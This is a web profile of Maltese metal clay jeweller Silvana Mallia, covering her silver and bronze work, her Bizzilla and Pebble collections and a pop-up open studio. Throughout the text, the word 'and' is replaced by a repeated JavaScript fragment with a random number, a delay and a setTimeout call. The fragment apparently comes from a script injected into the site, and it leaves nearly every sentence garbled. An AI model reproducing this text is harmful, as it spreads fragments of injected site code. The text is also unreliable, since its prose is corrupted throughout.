Silvana Mallia

Silvana Mallia is a Maltese metal clay artist.  She makes precious metal jewellery with clay andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fire, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is looking forward to showing her visitors on The Trail how she does this. If you like the idea of trying your handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and at it andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and making your own silver pendant, then come along to her pop-up open studio at The Cavalieri Art Hotel in St Julian’s.

Silvana creates her designs primarily in silver, bronze andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and copper, using a clay-like medium of metal particles andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and an organic binder, which after the shaping process is kiln-fired at temperatures of up to 930°C.  The result is a pure precious clay metal piece, which is then polished andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and finished using the traditional jewellery-making methods.

Silvana can spend hours researching methods andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and materials, but other times an idea comes into shape in a moment.  Metal clay is a very versatile medium, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Silvana particularly enjoys adding interesting materials to her jewellery pieces, to add focus or texture. “You can add incredibly detailed texture using flowers, or leaves with their lovely veins. ” Silvana also incorporates them into her work by locking petals into resin. “I’m always collecting leaves andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and flowers during my travels, from the local countryside or from the flower pots on my own balcony.”

Her style has evolved from the classic silver, lace-textured Bizzilla collection, with freshwater pearl accents, to the more recent Pebble collection where the focal ‘gems’ are beach pebbles. It may be a beach pebble pendant with a cluster of handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-shaped leaves andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fruit, or a square tile ring with a lace texture, to which nothing else needs to be added.  To create further contrast Silvana sometimes adds colour by pairing a vivid red necklace with a polished silver pendant, or green jade beads with pairs of copper earrings.  It is her bronze jewellery, however, that infuses warmth into her range.  “I love working with bronze clay. I use bronzes of different hues; pink, gold andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and champagne…andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and after firing, one piece is never like the other in colour. I like to keep them quite unpolished, to give them texture, so they are not geometrically perfect, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and to give them a used, antique feel.”

From a very early age Silvana showed an interest in all things creative, such as drawing, crafts andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and crochet, which can also be found in her jewellery, but in wire instead of fibres. “I loved jewellery, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and my desire to create it developed into a passion, initially making beaded jewellery.  This started in Paris while on holiday years ago, when I stumbled on a craft andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and jewellery supply shop. It was a kind of bead heaven andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I was hooked. Later I discovered precious metal clay.”

“Many ask what inspires me. I say no element in particular. Sometimes it’s our beautiful sea, nature, our local lace, but also interesting patterns in everyday things. My full time, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and long time, profession is in the financial sector, but in my small, chaotic ‘workshop’ space at home I’m in a different world.”